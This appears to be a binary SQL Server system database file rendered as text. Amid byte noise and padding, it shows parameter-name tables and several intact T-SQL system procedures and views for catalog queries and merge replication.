!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\6pF$



`
<

T$|H

`
:
,
			n	>		zZ.Z4|V*P|V8~nH"r.nP6`1[)1e61B.Savepoint Name614(Server Name61#&Server UID61 Slot ID61$SPID61"Tag Bits61c$Text Size61` TextPtr6114Transaction Begin61.Transaction ID61(2Transaction Name61)0Transaction SID61@,Virtual Clock61m&VLFs added61, Xact ID61-*Xact Node ID61.6Xact Node Local ID61&$Xact Type6ȑ&@dbms_name6ȑ,@dbms_version6ȑ*@source_prec6ȑ$@sql_type6E(@guidstring6E.@inserttrigger6E0@qualified_name6E(@rowguidcol6E&@tablenick66@exclude_anonymous6@name6*@show_distdb6v&@publisher6v @silent6=0@articlesoption6=*@belongsname6=&@commongen6=*@compatlevel6=>@enumentirerowmetadata6="@genlist6=	8@handle_null_tables6= @maxgen6= @mingen6=
,@nicknamelist6=0@notbelongsname6=*@publication6=&@publisher6=,@publisher_db6=
*@skipgenlist6=$@subissql6=.@tablenickname6 @fkname6@objid6@refid6(refcolcount6&refcollist6"reftable6stmt6 stmtend64@destination_dbms68@destination_length6<@destination_nullable6>@destination_precision6
6@destination_scale6
4@destination_type6	:@destination_version6*@source_dbms6.@source_length62@source_nullable64@source_precision6,@source_scale6*@source_type60@source_version6_ &bytes_used6_ 2creation_options6_ 
>creation_stack_address6_ 	,creation_time6_ 6max_pages_in_bytes6_ .memory_node_id6_ <memory_object_address6_ name6_ >page_allocator_address6_ 
6page_size_in_bytes6_ .pages_in_bytes6_ .parent_address6_ *sequence_num6_ type6$*@column_name6$.@table_catalog6$(@table_name6$,@table_schema6$,@table_server6#0@publication_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!R&b4

x
<

n<\*


d
.
		|	H	(		bBtJvTlL&~\,\6l@|\8`Gw)^
/'fy6y&@publisher6&@indexname6&@tablename6U*@publication6U&@publisher6U,@publisher_db6U(@subscriber6U.@subscriber_db6U6@subscription_type6t,@table_schema6t(@table_type6Q@alter6Q"@article6Q*@fautogen_id6Q*@publication6*@publication6&@publisher60@publisher_type6(@DatabaseId6(buffer_size6&cold_count6(database_id6"frequent6(occurrences62recovery_unit_id6&warm_count6Hi*@publication6Hi&@publisher6Hi,@publisher_db6"@Catalog6 @Column60@ConstraintName6@Owner6@Table6
@repid6
 @srcgen6
"@srcguid6K$@loginame6*h"alert_id6*h4alert_instance_id6*h*component_id6*h<component_instance_id6*h(create_time6*h,current_value6*h(pdw_node_id6*h.previous_value6J@objid65*@publication65&@publisher65,@publisher_db65(@subscriber65.@subscriber_db6]T+6@current_principal6]T+"@db_name6?dE(@index_name6?dE(@table_name6?dE,@table_schema6G&bytes_used6G is_free6G.memory_address6Gname6G*percent_used6G pool_id6G$row_count6H*@assembly_id6H:@assembly_referenced6H2@assembly_schema6H"@catalog6H @server6Y2@active_end_date6Y@@active_end_time_of_day6Y6@active_start_date6YD@active_start_time_of_day6Y6@commit_batch_size6Y*@description6Y2@flush_frequency6Y	8@frequency_interval6YJ@frequency_recurrence_factor6Y
J@frequency_relative_interval6Y4@frequency_subday6Y
F@frequency_subday_interval6Y0@frequency_type6Y@login6Y$@password6Y&@publisher6Y.@security_mode6Y6@status_batch_size6Y(@subscriber6Y@type6t)f(@continuous6t)f$@maxscans6t)f$@maxtrans6t)f2@pollinginterval6k&catalog_id6k	<completed_range_count6k
0completion_type6kHcompletion_type_description6k(database_id6k<incremental_timestamp6k@is_clustered_index_scan6k.memory_address6k
@outstanding_batch_count6k0population_type6kHpopulation_type_description6k>queued_population_type6kVqueued_population_type_description6k(range_count6k&start_time6kstatus6k6status_description6k"table_id6k*worker_count65q*@column_name65q"@ODBCVer65q.@table_catalog65q(@table_name65q,@table_schema6@flags!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!jB|F(F` tDh@$rN0

<
^(n<


d
@
 
				h	<		f>vN"`>~N.j8xP nL.vN"`{	Y	<x	
0zF 	8
create procedure sys.sp_procedure_params_100_rowset2
(
    @procedure_schema   sysname = null,
    @parameter_name     sysname = null
)
as
    select
        PROCEDURE_CATALOG                     = s_pp.PROCEDURE_CATALOG,
        PROCEDURE_SCHEMA                      = s_pp.PROCEDURE_SCHEMA,
        PROCEDURE_NAME                        = s_pp.PROCEDURE_NAME,
        PARAMETER_NAME                        = s_pp.PARAMETER_NAME,
        ORDINAL_POSITION                      = s_pp.ORDINAL_POSITION,
        PARAMETER_TYPE                        = s_pp.PARAMETER_TYPE,
        PARAMETER_HASDEFAULT                  = s_pp.PARAMETER_HASDEFAULT,
        PARAMETER_DEFAULT                     = s_pp.PARAMETER_DEFAULT,
        IS_NULLABLE                           = s_pp.IS_NULLABLE,
        DATA_TYPE                             = s_pp.DATA_TYPE,
        CHARACTER_MAXIMUM_LENGTH              = s_pp.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_OCTET_LENGTH                = s_pp.CHARACTER_OCTET_LENGTH,
        NUMERIC_PRECISION                     = s_pp.NUMERIC_PRECISION,
        NUMERIC_SCALE                         = s_pp.NUMERIC_SCALE,
        DESCRIPTION                           = s_pp.DESCRIPTION,
        TYPE_NAME                             = s_pp.TYPE_NAME,
        LOCAL_TYPE_NAME                       = s_pp.LOCAL_TYPE_NAME,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME   = s_pp.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME    = s_pp.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME           = s_pp.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME                    = s_pp.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME                     = s_pp.SS_UDT_SCHEMANAME,
        SS_UDT_NAME                           = s_pp.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME              = s_pp.SS_UDT_ASSEMBLY_TYPENAME,
        SS_TYPE_CATALOG_NAME                  = s_pp.SS_TYPE_CATALOG_NAME,
        SS_TYPE_SCHEMANAME                    = s_pp.SS_TYPE_SCHEMANAME,
        SS_DATETIME_PRECISION                 = s_pp.SS_DATETIME_PRECISION
    from
        sys.fn_procedure_params_90_rowset2(
          @procedure_schema,
          @parameter_name) s_pp

    order by 2, 3, 5
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<s';9ۛ06?@ h8CREATE VIEW sys.openkeys AS
	SELECT * FROM OpenRowset(TABLE OPENKEYS)
0$ D8yh
:(0@ 8create procedure sys.sp_MSexecwithlsnoutput
(
	@command	nvarchar(max),
	@xact_seqno	varbinary(16) output
)
as
begin
	declare @retcode int

	select @xact_seqno = 0x0
	
	-- security check for subscriber
	-- Though the work below is related to a publisher, we use 
	-- a check for the subscriber because this is normally executed
	-- by the distribution agent at a subscriber (republisher).
	-- this should only be used by peer to peer subscribers.
	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @@error <> 0 or @retcode <> 0 
    begin
        return 1
    end

	begin transaction tran_sp_MSexecwithlsnoutput
	save transaction tran_sp_MSexecwithlsnoutput

	exec(@command)
	if @@error <> 0
    begin
        goto FAILURE
    end

    -- if this is not a republisher we will get an error. this is expected
    -- since we should never be calling this on a non-publisher database.
	exec @retcode = sys.sp_replincrementlsn @xact_seqno = @xact_seqno output
	if @@error <> 0 or @retcode <> 0 
	begin
		goto FAILURE
	end

	commit transaction tran_sp_MSexecwithlsnoutput
	
    return 0
FAILURE:
	rollback transaction tran_sp_MSexecwithlsnoutput
	commit transaction

	return 1
end
0緰@ ~8CREATE VIEW sys.dm_os_memory_allocations AS
	SELECT *
	FROM OpenRowSet(TABLE SYSMEMALLOCS)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`</+p0jv h8create procedure sys.sp_MSgetlogshipagentpath 
(
    @toolpath nvarchar(260) = NULL output
)
as
begin
    set nocount on
    declare @retcode int
    --
    -- get the tools path
    --
    exec @retcode = sys.sp_MSgettools_path @install_path = @toolpath output
    if (@@error != 0 OR @retcode != 0 or @toolpath = null or @toolpath = N'') 
        return 1
    --
    -- now add the other part
    --
    select @toolpath = sys.fn_escapecmdshellsymbolsremovequotes(@toolpath) collate database_default + N'\Binn\'
    --
    -- all done
    --
    return 0
end
0σ D8hN	*H	0_@ 8create procedure sys.sp_MSaddlightweightmergearticle
	@pubid				uniqueidentifier,
	@article_name		sysname,
	@artid				uniqueidentifier,
	@tablenick			int,
	@destination_owner	sysname,
	@identity_support		int,
	@destination_object	sysname,
	@column_tracking		bit,
	@upload_options		tinyint,
	@well_partitioned	bit,
	@status				int,
	@processing_order		int,
	@delete_tracking		bit,
	@compensate_for_errors bit,
	@stream_blob_columns	bit	
as
	set nocount on

	declare @err				int
	declare @rcnt				int
	declare @pubname			sysname
	declare @pubidstring		nchar(32)
	declare @artidstring		nchar(32)
	declare @postfix			nchar(32)
	declare @objid				int
    declare @qualified_name 	nvarchar(270)
	declare @retcode			int
	declare @upload_options_previous tinyint
	declare @deletetracking_previous bit
	declare @compensate_for_errors_previous bit
	declare @pubidcopy			uniqueidentifier
	declare @stream_blob_columns_previous bit

    -- security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if (@retcode <> 0 or @@error <> 0)
        return 1
        
    -- Make sure the article does not already exist in a heavyweight subscription.
	if exists (select top 1 artid from dbo.sysmergearticles 
					where nickname = @tablenick and lightweight=0)
	begin
		raiserror(21526,16,1, @article_name)
		return 1
	end

	if @destination_owner = '' or @destination_owner is null
		set @qualified_name= quotename(@destination_object)
	else
		set @qualified_name= quotename(@destination_owner) + '.' + quotename(@destination_object)

	set @objid= object_id(@qualified_name)

	-- Create the numeric part of the procedure names, and make sure it is unique.
	exec @retcode = sys.sp_MSguidtostr @artid, @artidstring out
	if @@error <> 0 or @retcode <> 0 return 1

	set @pubidcopy= @pubid

	while 1=1
	begin
		exec @retcode = sys.sp_MSguidtostr @pubidcopy, @pubidstring out
		if @@error <> 0 or @retcode <> 0 return 1
		set @postfix= substring(@artidstring, 1, 16) + substring(@pubidstring, 1, 16)

		if exists (select * from dbo.sysmergearticles where procname_postfix = @postfix)
		begin
			set @pubidcopy= newid()
		end
		else
		begin
			break
		end
	end

	-- If that article is already part of another publication, reuse its "upload_options" property.
	set @upload_options_previous = (select top 1 upload_options 
									from dbo.sysmergearticles
									where artid = @artid)
	if @upload_options_previous is not null
		set @upload_options = @upload_options_previous

	-- If that article is already part of another publication, reuse its "compensate_for_errors" property.
	set @compensate_for_errors_previous= (select top 1 compensate_for_errors 
											 from dbo.sysmergearticles
											 where artid = @artid)
	if @compensate_for_errors_previous is not null
		set @compensate_for_errors= @compensate_for_errors_previous
				
	-- If that article is already part of another publication, reuse its "delete_tracking" property.
	set @deletetracking_previous= 1
	select @deletetracking_previous= delete_tracking  from dbo.sysmergearticles
										where artid = @artid and
											  delete_tracking = 0
	if 0 = @deletetracking_previous
		set @delete_tracking= 0
		
	-- If that article is already part of another publication, reuse its "stream_blob_columns" property.
	set @stream_blob_columns_previous= 1
	select @stream_blob_columns_previous= stream_blob_columns  from dbo.sysmergearticles
										where artid = @artid and
											  stream_blob_columns = 0
	if 0 = @stream_blob_columns_previous
		set @stream_blob_columns= 0
		
	update dbo.sysmergearticles set
			name=					@article_name,
			nickname=				@tablenick,
			destination_object=		@destination_object,
			destination_owner=		@destination_owner,
			identity_support=		@identity_support,
			objid=					@objid,
			sync_objid=				@objid,
			procname_postfix=		@postfix,
			upload_options=			@upload_options,
			column_tracking=		@column_tracking,
			well_partitioned_lightweight=@well_partitioned,
			processing_order=		@processing_order,
			lightweight=			1,
			status=					@status,
			delete_tracking=		@delete_tracking,
			compensate_for_errors=	@compensate_for_errors,
			stream_blob_columns=	@stream_blob_columns
		where pubid = @pubid and artid = @artid

	select @err= @@error, @rcnt= @@rowcount
	if @err <> 0
	begin
		select @pubname = name from dbo.sysmergepublications where pubid = @pubid
		raiserror (20009, 16, -1, @article_name, @pubname)
		return 1
	end
	if @rcnt <> 0 return 0
	
	insert into dbo.sysmergearticles 
	(
		pubid, 
		name, 
		artid, 
		nickname, 
		destination_object, 
		destination_owner,
		identity_support, 
		objid, 
		sync_objid, 
		procname_postfix, 
		upload_options,
		compensate_for_errors,
		column_tracking,
		well_partitioned_lightweight,
		processing_order,
		lightweight,
		status,
		delete_tracking,
		stream_blob_columns
	)
	values 
	(
		@pubid, 
		@article_name, 
		@artid, 
		@tablenick, 
		@destination_object, 
		@destination_owner,
		@identity_support, 
		@objid, 
		@objid, 
		@postfix, 
		@upload_options,
		@compensate_for_errors,
		@column_tracking,
		@well_partitioned,
		@processing_order,
		1,
		@status,
		@delete_tracking,
		@stream_blob_columns
	)
	if @@error <> 0
	begin
		select @pubname = name from dbo.sysmergepublications where pubid = @pubid
		raiserror (20009, 16, -1, @article_name, @pubname)
		return 1
	end

	return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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id				uniqueidentifier,
	@acknowledge_only	bit,
	@rowvector			varbinary(11)= null -- only null if 1=@acknowledge_only
as
	set nocount on
	
	declare @METADATA_TYPE_InsertLightweight tinyint
	declare @METADATA_TYPE_UpdateLightweight tinyint
	declare @METADATA_TYPE_DeleteLightweight tinyint
	declare @METADATA_TYPE_UpsertLightweightProcessed tinyint
	declare @METADATA_TYPE_DeleteLightweightProcessed tinyint
	declare @pubnick	tinyint
	declare @error		int
	declare @rowcount	int
	declare @retcode	smallint
	declare @removefrompartialvector binary(1)
	declare @versionzerovector binary(11)
	declare @coltracked	bit
	declare @COLUMNS_ENUMERATED_ChangedOnly tinyint
	declare @COLUMNS_ENUMERATED_AllOnOtherReason tinyint

	set @METADATA_TYPE_InsertLightweight= 7 
	set @METADATA_TYPE_UpdateLightweight= 8
	set @METADATA_TYPE_DeleteLightweight= 10
	set @METADATA_TYPE_UpsertLightweightProcessed= 11
	set @METADATA_TYPE_DeleteLightweightProcessed= 12
	set @removefrompartialvector= 0x00
	set @versionzerovector= 0x00000000000000000000FF
	set @COLUMNS_ENUMERATED_ChangedOnly= 0
	set @COLUMNS_ENUMERATED_AllOnOtherReason= 2

	-- Security check
	exec @retcode= sys.sp_MSreplcheck_subscribe
	if @@error <> 0 or @retcode <> 0 return (1)

	select @pubnick= sync_info from dbo.MSmerge_replinfo where repid = @pubid

	select top 1 @coltracked= column_tracking from dbo.sysmergearticles where nickname=@tablenick

	-- We replace proxied metadata if either:
	-- 1) The sync_cookie matches. This means that there was no local change since the upload
	--	  began, and the "right" publisher is acknowledging the upload. In that case, the
	--	  change type is reset, too, because the current row value was succesfully uploaded.
	--	  The rowvector is only replaced if the currently stored version is not higher. This
	--	  could be the case because of scenario 2 described below.
	--	  In this code path, we also acknowledge uploads.
	--
	-- 2) The sync_cookie does not match, but the proxied rowvector has a higher version than
	--	  the subscriber rowvector. A non-matching cookie means that an older upload is about
	--	  to be acknowledged. It is still okay to accept that proxied rowvector, because this
	--	  proxied rowvector, due to its higher version, is already more up to date than the one
	--	  we currently store. However, we must not reset the change flag in that case,
	--	  because the acknowledge of the most recent upload is  still pending, and it might
	--	  contain a newer change.

	-- Scenario 1, where currently stored version is not already higher than the one passed in;
	-- or we simply acknowledge an upload.
	update dbo.MSmerge_rowtrack
		set rowvector= case @acknowledge_only
								when 1 then rowvector -- For a simple acknowledge, leave the vector alone.
								else @rowvector
					   end,
			changedcolumns= null,
			columns_enumeration= case @coltracked
									when 1 then @COLUMNS_ENUMERATED_ChangedOnly
									else @COLUMNS_ENUMERATED_AllOnOtherReason
								 end,
			sync_cookie= null,
			changetype= case changetype
							when @METADATA_TYPE_InsertLightweight then @METADATA_TYPE_UpsertLightweightProcessed
							when @METADATA_TYPE_UpdateLightweight then @METADATA_TYPE_UpsertLightweightProcessed
							when @METADATA_TYPE_DeleteLightweight then @METADATA_TYPE_DeleteLightweightProcessed
							else changetype
						end,
    		changed= sys.fn_MSdayasnumber(getdate())	
		where
			tablenick = @tablenick and
			rowguid = @rowguid and
			sync_cookie = @pubnick and
			(
				1=@acknowledge_only or
				(
					{fn GETMAXVERSION(
							case
								when rowvector is null then @versionzerovector
								when rowvector = @removefrompartialvector then @versionzerovector
								else rowvector
							end)}
					<= {fn GETMAXVERSION(isnull(@rowvector, @versionzerovector))}
				)
			)

	select @error= @error, @rowcount= @@rowcount

	if @error<>0
	begin
		return 1
	end
	else if 1=@rowcount
	begin
		-- No need to check for further scenarios if we just replaced the metadata.
		return 0
	end
	else
	begin
		-- Scenario 2, where currently stored version is already higher than the one passed in.
		update dbo.MSmerge_rowtrack
			set sync_cookie= null,
				changedcolumns= null,
				columns_enumeration= case @coltracked
										when 1 then @COLUMNS_ENUMERATED_ChangedOnly
										else @COLUMNS_ENUMERATED_AllOnOtherReason
									 end,
				changetype= case changetype
								when @METADATA_TYPE_InsertLightweight then @METADATA_TYPE_UpsertLightweightProcessed
								when @METADATA_TYPE_UpdateLightweight then @METADATA_TYPE_UpsertLightweightProcessed
								when @METADATA_TYPE_DeleteLightweight then @METADATA_TYPE_DeleteLightweightProcessed
								else changetype
							end,
				changed= sys.fn_MSdayasnumber(getdate())
			where
				tablenick = @tablenick and
				rowguid = @rowguid and
				sync_cookie = @pubnick

		select @error= @error, @rowcount= @@rowcount

		if @error<>0
		begin
			return 1
		end
		else if 1=@rowcount
		begin
			-- No need to check for further scenarios if we just replaced the metadata.
			return 0
		end
		else
		begin
			-- Case 2
			update dbo.MSmerge_rowtrack
				set rowvector= @rowvector,
				    changed= sys.fn_MSdayasnumber(getdate())
				where
					tablenick = @tablenick and
					rowguid = @rowguid and
					(
						{fn GETMAXVERSION(
								case
									when rowvector is null then @versionzerovector
									when rowvector = @removefrompartialvector then @versionzerovector
									else rowvector
								end)}
						<= {fn GETMAXVERSION(isnull(@rowvector, @versionzerovector))}
					)

			if @@error<>0 return 1
		end
	end

	return 0
